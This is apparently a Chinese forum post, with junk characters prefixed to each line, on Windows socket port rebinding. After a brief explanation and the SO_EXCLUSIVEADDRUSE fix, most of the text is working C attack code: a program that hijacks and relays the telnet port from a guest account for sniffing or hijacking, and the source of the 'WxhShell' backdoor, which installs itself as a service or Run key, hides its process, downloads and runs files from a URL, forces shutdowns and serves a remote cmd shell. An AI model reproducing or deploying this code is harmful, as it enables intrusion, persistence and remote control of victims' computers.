在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0gL]^_+7 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
B-@6m I_6?Q^_uZ saddr.sin_family = AF_INET;
|ITp$_S q?nXhUD saddr.sin_addr.s_addr = htonl(INADDR_ANY);
[}9sq+## E!8FZv8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
9gZMfP /XeDN-{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
TUw^KSa rr>QG<i;G 这意味着什么?意味着可以进行如下的攻击:
&na#ES$X, wc*5s7_ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h3Nwxj~E .{1G"(z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
5bYU(] GbFLu`I u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z\Rs?v" AjKP -[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Kfa7}f_ @zL)R b%P$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
s:'M[xI K_{f6c< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
w17\ \[ o@>{kzCx 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
p(QB 5at 3FT%.dV^ #include
?&I gD. #include
L-hK(W!8pt #include
WPygmti}Be #include
|R8=yO%( DWORD WINAPI ClientThread(LPVOID lpParam);
zpV@{%VSj int main()
O#
.^} {
=2] .G Gg WORD wVersionRequested;
,],"tzKtE DWORD ret;
M>D 3NY[, WSADATA wsaData;
7?-eR- BOOL val;
2.ud P SOCKADDR_IN saddr;
9!b,!#= SOCKADDR_IN scaddr;
]wh8m1 int err;
d"<Q}Ay SOCKET s;
^.5L\ SOCKET sc;
DQ :w9 int caddsize;
E1IRb': HANDLE mt;
A ${b] DWORD tid;
@'C f<wns wVersionRequested = MAKEWORD( 2, 2 );
{Z 3t0F err = WSAStartup( wVersionRequested, &wsaData );
* t6XU if ( err != 0 ) {
8ar2N)59 printf("error!WSAStartup failed!\n");
.F:qJ6E return -1;
zWoPa,
}
[_hHZMTH saddr.sin_family = AF_INET;
+(0Fab8g 9r-]@6; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
TC[_Ip& py`RH) saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
F(>']D9$. saddr.sin_port = htons(23);
cN0|! nm* if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1|bu0d\] {
eZ5UR014 printf("error!socket failed!\n");
0@d )DLM? return -1;
xx0s`5 }
qg#TE-Y` val = TRUE;
lc>)7UF //SO_REUSEADDR选项就是可以实现端口重绑定的
x|i"x+o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Qmle0ae {
b}S}OW2 printf("error!setsockopt failed!\n");
#mlTN3 return -1;
eZWN9#p2 }
M[ $(Pu //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[/hS5TG|7 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(mz5vzyw //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^prseO?A 6kuN) if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
]y3V^W# {
RmxgCe(2a ret=GetLastError();
o"~ODN"L printf("error!bind failed!\n");
@/*{8UBP return -1;
Zs<}{`- }
Bzn{~&i?W: listen(s,2);
`<kHNcm while(1)
<8Ek-aNNt {
,oX48Wg_+ caddsize = sizeof(scaddr);
4b=hFwr[? //接受连接请求
x- kCNy sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
x7K if(sc!=INVALID_SOCKET)
cE>K:3n {
{[G2{ijRz mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
]vJZ v"ACn if(mt==NULL)
(__=*ew {
K]' 84!l printf("Thread Creat Failed!\n");
p8K4^H break;
D.Rk{0se8 }
SQ|pH" }
wLC!vX.S CloseHandle(mt);
QW#]i }
r`XIn#o closesocket(s);
kCfSF%W& WSACleanup();
qH!}oPeU' return 0;
;ZXP*M9 }
<$wh@$PK DWORD WINAPI ClientThread(LPVOID lpParam)
ATCFdtNc {
"<ow;ciJF SOCKET ss = (SOCKET)lpParam;
In^MZ)? SOCKET sc;
"}Kvx{L8 unsigned char buf[4096];
dl;~-'0 SOCKADDR_IN saddr;
p
2xOjS1 long num;
*F* c DWORD val;
D5fJuT-bp DWORD ret;
W/ZmG]sZE //如果是隐藏端口应用的话,可以在此处加一些判断
H=])o21 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
!R;P"%PHV saddr.sin_family = AF_INET;
v ~.X saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
<h|XB}s+ saddr.sin_port = htons(23);
:,"dno7OQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
~ ui/Qf2| {
Mf7Q+_! printf("error!socket failed!\n");
K];nM}<
return -1;
rB;`&)- }
eO;i1 > val = 100;
y[[f?rxz> if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'EU{%\qM {
Z
l.}= ret = GetLastError();
DLcfOOn1I return -1;
kf\n
}
wVkms if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'<~rV {
w]]`/` ret = GetLastError();
QEL^0c8 ~ return -1;
)~xL_yW_X }
IF~i* if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
NCYN .@J {
`GOxFDB. printf("error!socket connect failed!\n");
6g4CUP'Y closesocket(sc);
q9o =,[ closesocket(ss);
{ 6Lkh return -1;
D
7 l&L }
L>+g;GJ while(1)
!t "uNlN {
11}sRu/ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
iY"I:1l. //如果是嗅探内容的话,可以再此处进行内容分析和记录
mN+~fuh //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j[NA3Vj1P num = recv(ss,buf,4096,0);
Je_Hj9#M\d if(num>0)
+#8?y
5~q send(sc,buf,num,0);
kwNXKn/ else if(num==0)
[M_pf2Y break;
! P/ ]o num = recv(sc,buf,4096,0);
!iUdej^tx if(num>0)
b9ysxuUdS send(ss,buf,num,0);
MV6%~T else if(num==0)
6-va;G9Fc break;
qd{o64;| }
pcXY6[#N closesocket(ss);
#n%?} closesocket(sc);
nN>D=a"&F return 0 ;
1Lz`.%k`: }
o/buU{)y 0CS^S1/[B` nV 38Mj2U ==========================================================
F48:mfj1r :p@H 下边附上一个代码,,WXhSHELL
zMs]9o g`)3m,\ ==========================================================
Ht+ng qY\zZ #include "stdafx.h"
:|`'\%zW- g0I<Fan #include <stdio.h>
;y<)RM #include <string.h>
&N1C"Eov? #include <windows.h>
&b,.W;+ #include <winsock2.h>
B[ae<V0k #include <winsvc.h>
Ht?
u{\p@ #include <urlmon.h>
ONJW*!( X@Eq5s #pragma comment (lib, "Ws2_32.lib")
,{ CgOz+Ul #pragma comment (lib, "urlmon.lib")
VOwt2&mZ ?2[=llS4 #define MAX_USER 100 // 最大客户端连接数
y2>v'%]2 #define BUF_SOCK 200 // sock buffer
T~8` {^ #define KEY_BUFF 255 // 输入 buffer
P]!$MOt @iB**zR/ #define REBOOT 0 // 重启
fI`T3 Y!7 #define SHUTDOWN 1 // 关机
4LARqSmt ?15k~1nA #define DEF_PORT 5000 // 监听端口
/b6Y~YbgU +5Ir=]=T9 #define REG_LEN 16 // 注册表键长度
"F>-W\% #define SVC_LEN 80 // NT服务名长度
$t.N|b`' ehCc
N4V( // 从dll定义API
F3jrJ+nJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
XOa<R typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
&=fBqod typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
hJ4==ILx typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
2#_9x7g+ gJi11^PK // wxhshell配置信息
j{VxB struct WSCFG {
qTC`[l int ws_port; // 监听端口
. hHt+ char ws_passstr[REG_LEN]; // 口令
i_g="^ int ws_autoins; // 安装标记, 1=yes 0=no
9 U1)sPH; char ws_regname[REG_LEN]; // 注册表键名
+A
W6 >yV` char ws_svcname[REG_LEN]; // 服务名
#W
1`vke3 char ws_svcdisp[SVC_LEN]; // 服务显示名
[UNfft=K3P char ws_svcdesc[SVC_LEN]; // 服务描述信息
j^KM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
As@~%0 S int ws_downexe; // 下载执行标记, 1=yes 0=no
J x-^WB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
%r6LU<;1@ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
F<BhN+U %s$_KG !& };
~U*2h =] OTtSMO
// default Wxhshell configuration
H(Mlf struct WSCFG wscfg={DEF_PORT,
iJ42` 51 "xuhuanlingzhe",
(~-q}_G;Q 1,
hw_7N)} "Wxhshell",
\s&w0V`Y "Wxhshell",
y[qW> "WxhShell Service",
h 7kyz "Wrsky Windows CmdShell Service",
H;*:XLPF "Please Input Your Password: ",
!IoD";Oi 1,
}llzO "
http://www.wrsky.com/wxhshell.exe",
pX6T7 "Wxhshell.exe"
d(,-13 };
^]'p927 *-Lnsi^7v // 消息定义模块
E1 *\)q char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
&gF{<$$ char *msg_ws_prompt="\n\r? for help\n\r#>";
S)VuT0 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5gF}7D@ char *msg_ws_ext="\n\rExit.";
JC{}iG6r+ char *msg_ws_end="\n\rQuit.";
Y~=5umNSX char *msg_ws_boot="\n\rReboot...";
x0.&fCh% char *msg_ws_poff="\n\rShutdown...";
z-[Jbjhd char *msg_ws_down="\n\rSave to ";
w|Zq5|[ aEXV^5;,pJ char *msg_ws_err="\n\rErr!";
$f1L<euH char *msg_ws_ok="\n\rOK!";
DetBZ. a&L8W4 char ExeFile[MAX_PATH];
Y+upZ@Ga int nUser = 0;
)%X\5]w` HANDLE handles[MAX_USER];
tl ;?/ int OsIsNt;
SZG8@ !_}7 BOL_kp" SERVICE_STATUS serviceStatus;
W$gSpZ_7 SERVICE_STATUS_HANDLE hServiceStatusHandle;
K/Q;]+D 6e |
// 函数声明
Aplqxvth int Install(void);
=eac,]31 int Uninstall(void);
Uw61X>y= int DownloadFile(char *sURL, SOCKET wsh);
z &<Rx[ int Boot(int flag);
P_-zkw void HideProc(void);
Tj0eW(<!s int GetOsVer(void);
Zu%_kpW int Wxhshell(SOCKET wsl);
&o4L;A#& void TalkWithClient(void *cs);
_I{&5V~z int CmdShell(SOCKET sock);
$
}B"u;:SU int StartFromService(void);
H/)= int StartWxhshell(LPSTR lpCmdLine);
V2,.@j# nkJ*$cT1o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
dmlh;Z VOID WINAPI NTServiceHandler( DWORD fdwControl );
fbw{)SZ [n74&EH // 数据结构和表定义
42z9N\ f SERVICE_TABLE_ENTRY DispatchTable[] =
W\} VZY {
A*E4hop[ {wscfg.ws_svcname, NTServiceMain},
y
H+CyL\ {NULL, NULL}
G#dpSNV3| };
9%zR?u DVTzN(gO*~ // 自我安装
CdZ;ZR int Install(void)
&~E=T3 {
DT 9i<kl char svExeFile[MAX_PATH];
C
2oll-kN HKEY key;
b17p;wS strcpy(svExeFile,ExeFile);
G>:l(PW: @Zq,mPaR$ // 如果是win9x系统,修改注册表设为自启动
_LK>3Sqd if(!OsIsNt) {
'c &Bmd40 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
pQVi&( M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
WM@uxe, RegCloseKey(key);
<wE2ly&x if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Jr''S}@|x RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]|[xY8 5} RegCloseKey(key);
|0qk return 0;
0-|1}/{4 }
H>DJ-lG( }
Ab_aB+g ] }
xVl90ak else {
-\NB*|9m| `gss(o1} // 如果是NT以上系统,安装为系统服务
{ @-Q1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?: meix if (schSCManager!=0)
ww\/$ | {
k*!J,/=k SC_HANDLE schService = CreateService
B=Zo0p^ (
b7>;UX schSCManager,
'6 /uc:zv wscfg.ws_svcname,
~NTpMF wscfg.ws_svcdisp,
aD&10b9` SERVICE_ALL_ACCESS,
efbt\j6@%2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
DV%tby SERVICE_AUTO_START,
$%t{O[( SERVICE_ERROR_NORMAL,
zP9 HYS svExeFile,
/(}V!0\? NULL,
D!Gm9Pa} NULL,
G3U+BC23E NULL,
-y/?w*Cx NULL,
6=')*_~/ NULL
lA]u8+gXd );
M1ayAXO if (schService!=0)
sdO;vp^:b {
;3?M?E/$s CloseServiceHandle(schService);
hD$U8~zK CloseServiceHandle(schSCManager);
)(ma strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3BSeZ:j7 strcat(svExeFile,wscfg.ws_svcname);
s-C.+9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
p}Gk|Kjlq, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"3^6 RegCloseKey(key);
'[juPI(! return 0;
eq@ v2o7 }
be764do }
Eui;2P~ CloseServiceHandle(schSCManager);
3p^WTQ>( }
d&ZwVF! }
`r]Cd
{G {(tE pr return 1;
T@RzY2tz }
3oKqj> *e8V4P // 自我卸载
Fza)dJ7 int Uninstall(void)
,\qo {
Maxnk3n HKEY key;
l+N?:E$5=% =}q4ked/ if(!OsIsNt) {
PO}Q8Q3 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
h:GOcLYM@X RegDeleteValue(key,wscfg.ws_regname);
@O3w4Zs RegCloseKey(key);
w_{z"VeD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
+}Q4 g]M8 RegDeleteValue(key,wscfg.ws_regname);
c:$:j,i} RegCloseKey(key);
#mM&CscE return 0;
oVhw2pKpM }
z%AIv% }
J%A`M\ }
q%y_<Fw#E else {
T.|0;Eb wG|3
iFK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9M!_D?+P? if (schSCManager!=0)
57j:Lw~
{
O.4"h4{' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
ke4q$pD if (schService!=0)
L;f=\q"g {
(dT!u8O e if(DeleteService(schService)!=0) {
K9P"ncMt CloseServiceHandle(schService);
b\+|g9Tm CloseServiceHandle(schSCManager);
cj8r-Vu/N return 0;
JRiuU:=J~` }
\W\6m0-x CloseServiceHandle(schService);
Pw7'6W1 }
M84LbgGM% CloseServiceHandle(schSCManager);
2h:f6=)r/u }
54;iLL }
|knP RXof$2CZS return 1;
'~f@p~P }
Z8 # I HdLkof2i // 从指定url下载文件
7]^ } int DownloadFile(char *sURL, SOCKET wsh)
I^wj7cFo5 {
)N6R# HRESULT hr;
p/5!a~1'xN char seps[]= "/";
q-o>yjT~ char *token;
lt$797 char *file;
0Fw\iy1o char myURL[MAX_PATH];
ps[6)d)o char myFILE[MAX_PATH];
EiN.VU ` lxmS.C strcpy(myURL,sURL);
XVLuhwi token=strtok(myURL,seps);
C[KU~@ while(token!=NULL)
= ;a4
Dp {
V*m)h file=token;
XH2SEeh token=strtok(NULL,seps);
mQvKreo~ }
m@Nx`aS? N4v)0 GetCurrentDirectory(MAX_PATH,myFILE);
|HU
qqlf strcat(myFILE, "\\");
]q3Kd{B strcat(myFILE, file);
7E5Dz7 send(wsh,myFILE,strlen(myFILE),0);
T7T!v send(wsh,"...",3,0);
<F3sQAe
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
aK>9:{]ez if(hr==S_OK)
]T l\9we return 0;
g@y"
B6X else
:^s7#4%6 return 1;
O1ha'@qID Y1'.m5E }
I>3]4mI*a 4GfLS.Ip // 系统电源模块
/SKr.S61e int Boot(int flag)
W@C56fCa {
q5!l(QL. HANDLE hToken;
n>0dz# TOKEN_PRIVILEGES tkp;
Fa!)$eb7 MELGTP> if(OsIsNt) {
pjCWg4ya OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
)e2IT*7 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`p{!5 tkp.PrivilegeCount = 1;
vg.%. ~!9 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
g
Oj5c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
bGi_",
8 if(flag==REBOOT) {
!bcbzg2d& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)ra66E return 0;
,1[??Y }
3.0c/v5Go else {
)c '>E4> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
{e%abr_B return 0;
ThlJhTh<%4 }
_tReZ(Vw }
]18ygqt else {
pu:D/2R2;k if(flag==REBOOT) {
i@CMPz-h& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
;
BZM~'
return 0;
;a3nH }
,4Fqvg else {
pG( knu if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y9L#@ return 0;
%7evPiNB }
?Bzi#Z }
tvOAN|+F ~0-764% return 1;
e]
K=Nm }
BR^J y<^F' Vrj1$NL% // win9x进程隐藏模块
iW}l[g8sw! void HideProc(void)
J=X%
xb {
--twkD hu|hOr8 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
icul15'i if ( hKernel != NULL )
@,4%8E5 {
Uo}&-$ B pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Di'u%r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
p}A4K#G FreeLibrary(hKernel);
dT)KvqX }
eM+;x\jo? -z0{\=@#m return;
?a>7=)%AH }
@5jG 8KtgSash // 获取操作系统版本
z>33O5U int GetOsVer(void)
+w.Kv
; {
_qeuVi=A OSVERSIONINFO winfo;
ij(4)= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
HQ3`:l GetVersionEx(&winfo);
@7s,|\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
&U~r}= return 1;
!Gp3/<"Wy$ else
_`_IUuj$E return 0;
!e'0jf-~ }
O_Rcd&<mr U[QD! // 客户端句柄模块
aoDD&JE int Wxhshell(SOCKET wsl)
E^ok`wfO {
8RAeJ~e SOCKET wsh;
`f+8WPJPZ struct sockaddr_in client;
dBMe`hM) DWORD myID;
*fl{Y(_OO 6#)Jl while(nUser<MAX_USER)
T_x+sv=|X! {
@qPyrgy int nSize=sizeof(client);
NVJ&C]H6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Nr24[e
G>d if(wsh==INVALID_SOCKET) return 1;
sk
?'^6Xh pTALhj#, handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ww96|m if(handles[nUser]==0)
nh eU~jb closesocket(wsh);
M>jBm
. else
ls24ccOs nUser++;
l^!A }
-#wVtXaSc WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
ZjZh z` `_1(Q9Q return 0;
PDt<lJU+X }
)J+{oB[>b $}nh[@ // 关闭 socket
|jk-@ Z* void CloseIt(SOCKET wsh)
&QTeGn {
c',:@2R closesocket(wsh);
&'(a$S>v nUser--;
Q+d.%qhc ExitThread(0);
?7uKP}1| }
Aw4?y[{H gr>o
E#7 // 客户端请求句柄
,|.8nk" void TalkWithClient(void *cs)
xIQ/$[&v {
MkDK/K$s 4Oy.,MDQP SOCKET wsh=(SOCKET)cs;
ojx'g8yO char pwd[SVC_LEN];
V3mjbH>F char cmd[KEY_BUFF];
*IWFeu7y char chr[1];
r]8x;v1 int i,j;
VyWYfPK y~ _za(k while (nUser < MAX_USER) {
q#99iiG1 JOrELrMx if(wscfg.ws_passstr) {
5@czK*5 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N^\2
_T //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u
m:0y, //ZeroMemory(pwd,KEY_BUFF);
$_RWd#Q( i=0;
G#e9$! while(i<SVC_LEN) {
(!*Xhz,(- tL~,ZCQz // 设置超时
Pr5g6I'G fd_set FdRead;
" ^HK@$ struct timeval TimeOut;
]$~Fzs FD_ZERO(&FdRead);
I7dm \|# FD_SET(wsh,&FdRead);
zb;(?!Bd# TimeOut.tv_sec=8;
Q(|PZng TimeOut.tv_usec=0;
o)%-l4S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
,-(T"Ph< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
id;#{O$ Qj(vBo?D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
kmlG3hOR, pwd
=chr[0]; NoCDY2 $
if(chr[0]==0xd || chr[0]==0xa) { R9Sf!LR
pwd=0; F qeV3N
break; Zc'|!pT _
} /m`}f]u
i++; *jM_ wwG
} \3Dk5cSDk+
gA~20LSt
// 如果是非法用户,关闭 socket K(nS$x1G
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); C4QeDvpI
} DX}B0B
TGU:(J'^
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); R_Zv'y6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rv9B}%e
#NvQmz?J?
while(1) { bTLMd$
Jd5\&ma
ZeroMemory(cmd,KEY_BUFF); k"xGA*B|
{=UFk-$=
// 自动支持客户端 telnet标准 h+,'B&=|_
j=0; 8Y2 xW`
while(j<KEY_BUFF) { l0gY~T/#3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qWsylC23
cmd[j]=chr[0]; >Z+"`"^o}
if(chr[0]==0xa || chr[0]==0xd) { Q
[rj
cmd[j]=0; q0,kDM66
break; O:
,$%
} }]AT _bh,
j++; @j O4EEe:
} q7X}MAW
r&}(9Cq&"y
// 下载文件 U1ZIuDg'E
if(strstr(cmd,"http://")) { KH7VR^;mk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); qysTjGwa]
if(DownloadFile(cmd,wsh)) iI5+P`sE&J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fUC9-?(K
else L0rip5[;d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &V'519vmoZ
} CuH2E>wz
else { !fY7"E{%%
~C&*.ZR
switch(cmd[0]) { 9O;cJ)tXY
qG<7hr@x]
// 帮助 t\h$&[[l'z
case '?': { NJtQx2Sd'H
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wV(AT$
break; ]' Y|Nl
} !p9)CjQ "
// 安装 Xka<I3UD5
case 'i': { +nZUL*Ut/
if(Install()) [J^
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cyq?5\ a
else &FSmqE;@^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "~F3*lk#E
break; <5S@ORN
} 57wFf-P
// 卸载 {;s;.
case 'r': { ,`k_|//}=
if(Uninstall()) K]c4"JJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kb71q:[
else j^flwk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \v+u;6cx_
break; ~#R9i^Y
} 'JieIKu
// 显示 wxhshell 所在路径 Ko6^iI1
case 'p': { EIjI!0j
char svExeFile[MAX_PATH]; MJ`N,E[
strcpy(svExeFile,"\n\r"); $9 +YNgW>
strcat(svExeFile,ExeFile); #B8*gFZB
send(wsh,svExeFile,strlen(svExeFile),0); A /(lK q
break; e,>%Z@92(
} bB!#:j>(v
// 重启 Lxv6!?v|
case 'b': { }bH$O%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); -w1@!Sdd
if(Boot(REBOOT)) J'b<z.OW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _]b3,%2
else { ]mQw,S)/"
closesocket(wsh); sIy
ExitThread(0); }Ov
^GYnn
} )=J5\3O*x
break; ?+~cA^-3T
} O}Hf62"
// 关机 {`(>O"_[Q
case 'd': { pd3,pQ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y4E/?37j
if(Boot(SHUTDOWN)) .Da'pOe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); R x7X_A}
else { V8WFQdXc
closesocket(wsh); oRM)%N#
ExitThread(0); Yw'NX5#)g
} ).5RPAP
break; qnM|w~G
} :`\)
P,
// 获取shell J NVr
case 's': { :u6JjW[a)
CmdShell(wsh); !z 53OT!
closesocket(wsh); k|vI<:'p,
ExitThread(0); iDoDwq!l_
break; #*9-d/K
} ?YQPlv:<o.
// 退出 a,|?5j9,P
case 'x': { ?m7:if+y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ujFzJdp3k
CloseIt(wsh); [kV;[c}
break; fpWg R4__
} oR .cSGh
// 离开 b| M3`
case 'q': { \25/$Ae}c
send(wsh,msg_ws_end,strlen(msg_ws_end),0); cc}Key@D
closesocket(wsh); 7a4o1;l
WSACleanup(); <IJu7t>
exit(1); 7y^%7U \
break; 0Yl4eB-
} ^Hrn ]
} fB1TFtAh
} KS}hU~
^/U27B
// 提示信息 ke_[
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `'I{U5;e
} ]:(W_qEA
} omSM:f_~
)+P]Vf\jH
return; aE"[5*a
} G{Yz8]m
3S*AxAeg
// shell模块句柄 Yd
EptAI
int CmdShell(SOCKET sock) 8uNULob
{ Jzkq)]M
STARTUPINFO si; ;5_{MCPM
ZeroMemory(&si,sizeof(si)); *\}}Bv+9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mLh kI!4[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dS2G}L^L
PROCESS_INFORMATION ProcessInfo; j;b42G~p
char cmdline[]="cmd"; p;T{i._iL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r]@0eb
return 0; m: n`g1
} VhL{'w7f
A4C+5R
// 自身启动模式 t.T
UmJ
int StartFromService(void) #LlUxHv #
{ #:jb*d?
typedef struct {\H/y c|@
{ 54lu2gD'
DWORD ExitStatus; mw$r$C{
DWORD PebBaseAddress; aNcd`
$0
DWORD AffinityMask; S$TmZk=
DWORD BasePriority; M<O{O}t<
ULONG UniqueProcessId; Vd^g9
